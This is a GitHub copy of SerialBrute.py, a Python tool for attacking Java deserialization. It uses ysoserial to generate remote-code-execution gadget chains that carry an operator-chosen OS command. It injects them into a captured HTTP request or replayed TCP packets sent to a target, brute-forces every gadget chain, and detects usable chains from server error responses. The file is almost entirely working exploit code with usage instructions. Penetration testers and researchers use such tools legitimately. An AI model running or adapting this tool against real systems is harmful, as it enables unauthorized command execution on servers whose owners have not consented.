-
Notifications
You must be signed in to change notification settings - Fork 32
/
Copy pathSerialBrute.py
466 lines (412 loc) · 15.9 KB
/
SerialBrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
############################################################
# SerialBrute.py
#
# Java Serialization brute force attack tool. Generates
# RCE gadget chains using ysoserial and injects them into
# a HTTP request or series of TCP packets in order to aid
# in the detection and exploitation of Java
# deserialization vulnerabilities.
#
############################################################
#
# Usage:
# SerialBrute.py -r <file> -c <command> [opts]
# SerialBrute.py -p <file> -t <host:port> -c <command> [opts]
# Options:
# -r <file> To specify a file containing a HTTP request to inject payloads into
# -p <file> To specify a file containing TCP packets to inject payloads into
# -c <command> The operating system command to attempt to execute
# -t <host:port> The target for the attack, required with -p, optional with -r
# -g <gadget> The ysoserial gadget chain to use (if known, defaults to all if not specified)
# -dg Attempt to detect valid gadget chains by brute forcing with an invalid OS command and observing responses
# -n Pure kitchen sink mode, don't ask for confirmation of success in between attacks
# Input files:
# HTTP request input files should contain a single HTTP request with a marker indicating
# where to inject deserialization payloads. Use PAYLOAD to mark the location where a
# payload should be inserted, or PAYLOADNOHEADER if the payload should be inserted
# without the serialization header (0xAC ED 00 05).
#
# TCP replay input files should list the minimal set of TCP packets required to achieve
# object deserialization against the target. Each line of the file should contain one of
# the following:
# Hex-ascii encoded bytes of a packet to send to the target (e.g. aced000577020000)
# The string RECV to indicate that a response packet should be read from the server
# Insert PAYLOAD anywhere within an outbound packet line, or on a line on its own, to
# indicate where the payload should be inserted into the packet. Use PAYLOADNOHEADER to
# insert the payload without the serialization header (0xAC ED 00 05).
# E.g.
# aced000577020000
# RECV
# RECV
# PAYLOADNOHEADER
#
############################################################
#
# See SrlBrt.py for a cut-down version that contains an
# empty 'deliverPayload' function that can be filled in to
# attack arbitrary applications and protocols.
#
############################################################
#
# Written by Nicky Bloor (@NickstaDB)
#
############################################################
import os
import socket
import subprocess
import sys
import urllib
####################
# Configuration
####################
#Timeout in seconds for socket receive operations
RECV_TIMEOUT = 1.0
#Amount of data to read in socket receive operations
RECV_SIZE = 4096
#Ysoserial JAR path
YSOSERIAL_PATH = "ysoserial.jar"
#Ysoserial JAR download URL
YSOSERIAL_URL = "https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar"
#All ysoserial RCE gadget chains
ALL_GADGETS = ["BeanShell1", "CommonsBeanutils1", "CommonsCollections1", "CommonsCollections2",
"CommonsCollections3", "CommonsCollections4", "CommonsCollections5", "CommonsCollections6",
"Groovy1", "JavassistWeld1", "JBossInterceptors1", "Jdk7u21", "JSON1", "MozillaRhino1",
"ROME", "Spring1", "Spring2"
]
####################
# Default runtime settings
####################
confirmAttacks = True
targetHost = ""
targetPort = -1
inputFile = ""
cmd = ""
gadgetChain = ""
detectGadgets = False
attackmode = ""
####################
# Dispatch a payload via HTTP
####################
def dispatchPayloadViaHttp(payload):
global targetHost, targetPort, inputFile, RECV_TIMEOUT, RECV_SIZE
#Load the HTTP request from disk
f = open(inputFile, "rb")
request = f.read()
f.close()
#Check for a PAYLOADNOHEADER marker
if "PAYLOADNOHEADER" in request:
#Replace the marker with the payload bytes minus the serialization header
request = request.replace("PAYLOADNOHEADER", payload[4:])
elif "PAYLOAD" in request:
#Replace the marker with the payload bytes
request = request.replace("PAYLOAD", payload)
else:
#Missing marker, bail
print "[-] ERROR: The HTTP request file did not contain the PAYLOAD or PAYLOADNOHEADER marker indicating the location where the payload should be injected."
sys.exit(1)
#Check for a Content-Length header and fix it if necessary
headers = request.split("\r\n\r\n")[0]
if "content-length:" in headers.lower():
#Re-build the headers with a new content length header
newHeaders = ""
for header in headers.split("\r\n"):
if header.lower().startswith("content-length:"):
newHeaders = newHeaders + "Content-Length: " + str(len(request.split("\r\n\r\n",1)[1])) + "\r\n"
else:
newHeaders = newHeaders + header + "\r\n"
#Re-build the request
body = request.split("\r\n\r\n", 1)[1]
request = newHeaders + "\r\n" + body
#Connect to the target
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((targetHost, targetPort))
#Send the payload
sock.sendall(request)
#Attempt to read the response
response = ""
try:
sock.settimeout(RECV_TIMEOUT)
response = sock.recv(RECV_SIZE)
except:
pass
#Close the connection
sock.close()
#Return the response (if one was received)
return response
####################
# Dispatch a payload by replaying TCP packets
####################
def dispatchPayloadViaTcpReplay(payload):
global targetHost, targetPort, inputFile, RECV_TIMEOUT, RECV_SIZE
#Open the input file
f = open(inputFile, "r")
#Connect to the target
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((targetHost, targetPort))
#Set a recv timeout on the socket
sock.settimeout(RECV_TIMEOUT)
#Read the file line-by-line and dispatch packets accordingly
for packet in f:
#Strip whitespace
packet = packet.strip()
#Check for PAYLOADNOHEADER marker
if "PAYLOADNOHEADER" in packet:
#Replace the marker with the ascii-hex encoded payload (minus the serialization header), then decode the lot and send it to the target
sock.sendall(
packet.replace("PAYLOADNOHEADER", payload[4:].encode("hex")).decode("hex")
)
#Payload sent, break out of this loop
break
#Not found, check for PAYLOAD marker
elif "PAYLOAD" in packet:
#Replace the marker with the ascii-hex encoded payload, then decode the whole lot and send it to the target
sock.sendall(
packet.replace("PAYLOAD", payload.encode("hex")).decode("hex")
)
#Payload sent, break out of this loop
break
#Check if we need to receive a packet...
elif "RECV" in packet:
#Receive a packet from the server
try:
sock.recv(RECV_SIZE)
except socket.timeout:
#Recv timed out
print "[-] Socket recv timed out."
sock.close()
f.close()
sys.exit(1)
#Blank line, do nothing...
elif packet == "":
continue
#Not a payload packet, not a receive instruction, hex-decode the packet and send it to the server
else:
sock.sendall(
packet.decode("hex")
)
#Attempt to receive a response packet
response = ""
try:
response = sock.recv(RECV_SIZE)
except socket.timeout:
pass
#Close the connection
sock.close()
#Close the input file
f.close()
#Return the response if one was received
return response
####################
# Launch a payload and attempt to confirm whether the POP chain works or not.
####################
def launchAttack(payload):
global attackmode
#Dispatch the payload depending on the attack mode and get the response
response = ""
if attackmode == "http":
response = dispatchPayloadViaHttp(payload)
elif attackmode == "tcpreplay":
response = dispatchPayloadViaTcpReplay(payload)
#Check for ClassNotFound exceptions in the response
if "ClassNotFoundException" in response:
print " [-] POP gadget chain not supported."
elif "java.io.IOException: Cannot run program" in response:
print " [+] POP gadget chain is supported"
print " [-] Requested command is not available"
else:
print " [+] POP gadget chain may be supported."
####################
# Attempt to detect available POP gadget chains by brute forcing with an invalid command string
#
# A ClassNotFoundException in the response indicates that a class we attempted to deserialize isn't
# present on the server and so that gadget chain cannot be used. A lack of this exception indicates
# that the gadget chain may be usable.
####################
def doGadgetDetection():
global attackmode, YSOSERIAL_PATH, ALL_GADGETS
#Gadgets to return
retGadgets = []
#Attempt to detect available gadgets
for g in ALL_GADGETS:
with open(os.devnull, "w") as FNULL:
payload = subprocess.check_output(["java", "-jar", YSOSERIAL_PATH, g, "SerialBruteGadgetDetector"], stderr=FNULL)
response = ""
if attackmode == "http":
response = dispatchPayloadViaHttp(payload)
elif attackmode == "tcpreplay":
response = dispatchPayloadViaTcpReplay(payload)
#Check for a lack of ClassNotFoundException in the response
if "ClassNotFoundException" not in response:
#Potential gadget chain identified
retGadgets.append(g)
#Return the list of potential gadgets
return retGadgets
####################
# Get the gadget chain or chains to use in the attack
#
# A single gadget may be specified on the command line, in which case use that (provided it's valid).
# The option to detect gadgets may be specified on the command line, in which case attempt to detect valid gadgets and use those.
# In all other cases, or if detection fails, return all gadget chains.
####################
def getGadgetChains():
global gadgetChain, detectGadgets, ALL_GADGETS
#Gadgets to return
retGadgets = []
#Check if a single gadget was specified, and if it's valid
if gadgetChain != "" and gadgetChain in ALL_GADGETS:
retGadgets.append(gadgetChain)
else:
#No single gadget specified, check if detection was requested
if detectGadgets == True:
#Attempt to detect available gadgets
print "Attempting to detect available POP gadget chains..."
retGadgets = doGadgetDetection()
#If no gadgets were detected, warn and use all
if len(retGadgets) == 0:
print "[-] Warning, gadget detection did not identify any valid gadget chains"
retGadgets = ALL_GADGETS
else:
print "[+] " + str(len(retGadgets)) + " potential gadget chains identified"
else:
#Use all gadgets
retGadgets = ALL_GADGETS
#Return the list of gadgets to use
return retGadgets
####################
# Check for ysoserial and offer to download it to the current directory if not found.
####################
def checkForYsoserial():
global YSOSERIAL_PATH, YSOSERIAL_URL
#Check if ysoserial exists
if not os.path.isfile(YSOSERIAL_PATH):
#Nope, offer to download it
print "Error: The ysoserial JAR file was not found. Edit this script to point"
print " YSOSERIAL_PATH at the correct path, or enter 'y' below to download"
print " ysoserial.jar to the configured path (" + YSOSERIAL_PATH + ")."
if raw_input("Download ysoserial.jar? ").lower() == "y":
#Download ysoserial
urllib.urlretrieve(YSOSERIAL_URL, YSOSERIAL_PATH)
else:
#Exit, can't operate without ysoserial
sys.exit(1)
####################
# Parse the target host and port from the input file containing a HTTP request
####################
def parseTargetFromHttpRequest():
global inputFile, targetHost, targetPort
#Read the file line-by-line looking for the 'Host' header
f = open(inputFile)
for line in f:
if line.lower().startswith("host:"):
host = line[5:].strip()
if ":" in host:
targetHost = host.split(":")[0]
targetPort = int(host.split(":")[1])
else:
targetHost = host
targetPort = 80
f.close()
####################
# Print usage message and quit
####################
def printUsageAndQuit(err = ""):
#Print error message if supplied
if err != "":
print err
print ""
#Print usage details
print "SerialBrute.py - Java Serialization Attack Tool"
print ""
print "Usage:"
print " SerialBrute.py -r <file> -c <command> [opts]"
print " SerialBrute.py -p <file> -t <host:port> -c <command> [opts]"
print ""
print "Options:"
print " -r <file> File containing a HTTP request to issue"
print " -p <file> File containing TCP packets to replay"
print " -c <command> The operating system command to use in the attack"
print " -t <host:port> The target for the attack, required with -p, optional with -r"
print " -g <gadget> The gadget chain to use (if known, defaults all if not specified)"
print " -dg Attempt to detect valid gadget chains"
print " -n Don't ask for confirmation of success in between attacks"
print ""
print "Input files:"
print " HTTP request input files"
print " Use PAYLOAD to mark the location where a payload should be inserted"
print " Use PAYLOADNOHEADER if the serialization header should be stripped"
print " TCP replay input files"
print " Each line should contain one of the following:"
print " Hex-ascii encoded bytes of a packet to send to the target"
print " RECV to indicate that a packet should be read from the server"
print " Insert PAYLOAD within an outbound packet line, or on a line on its own, to"
print " indicate where the payload should be inserted into the packet."
print " Insert PAYLOADNOHEADER within an outbound packet line, or on a line on its"
print " own, if the serialization header should be stripped before inserting the"
print " payload there."
print " E.g."
print " aced000577020000"
print " RECV"
print " RECV"
print " PAYLOADNOHEADER"
print ""
#Exit
if err != "":
sys.exit(1)
else:
sys.exit(0)
####################
# SerialBrute
####################
#Process command line args
sys.argv = sys.argv[1:]
i = 0
while i < len(sys.argv):
opt = sys.argv[i]
if opt.lower() == "-r": #Filename containing HTTP request
attackmode = "http"
inputFile = sys.argv[i + 1]
parseTargetFromHttpRequest()
i = i + 1
elif opt.lower() == "-p": #Filename containing TCP packets to replay
attackmode = "tcpreplay"
inputFile = sys.argv[i + 1]
i = i + 1
elif opt.lower() == "-t": #Target (intended for TCP replay mode, but can override HTTP target)
targetHost = sys.argv[i + 1].split(":")[0]
targetPort = int(sys.argv[i + 1].split(":")[1])
i = i + 1
elif opt.lower() == "-n": #Don't ask for confirmation in between attack attempts
confirmAttacks = False
elif opt.lower() == "-c": #The OS command to attempt to execute
cmd = sys.argv[i + 1]
i = i + 1
elif opt.lower() == "-g": #The gadget chain to use
gadgetChain = sys.argv[i + 1]
i = i + 1
elif opt.lower() == "-dg": #Attempt to detect available gadget chains
detectGadgets = True
i = i + 1
else: #Unknown option
printUsageAndQuit("Error: Unknown option specified (" + opt + ")")
#Increment i to next parameter
i = i + 1
#Verify that required runtime options have been set
if targetHost == "" or targetPort == -1 or inputFile == "" or cmd == "" or attackmode == "":
printUsageAndQuit("Error: Invalid missing one or more required options: -r, -p, -t, -c")
#Make sure ysoserial.jar is available, if not offer to download it to the current directory
checkForYsoserial()
#POP gadget chains to generate
gadgetChains = getGadgetChains()
#Attempt to attack the server with each available gadget chain
print "Starting attack..."
for g in gadgetChains:
print " Trying POP gadget chain: " + g
print " [+] Generating payload..."
with open(os.devnull, "w") as FNULL:
payload = subprocess.check_output(["java", "-jar", YSOSERIAL_PATH, g, cmd], stderr=FNULL)
print " [+] Payload generated, launching attack..."
launchAttack(payload)
if confirmAttacks:
if raw_input(" Attack successful? (y/n) [n]: ").lower() == "y":
break
print ""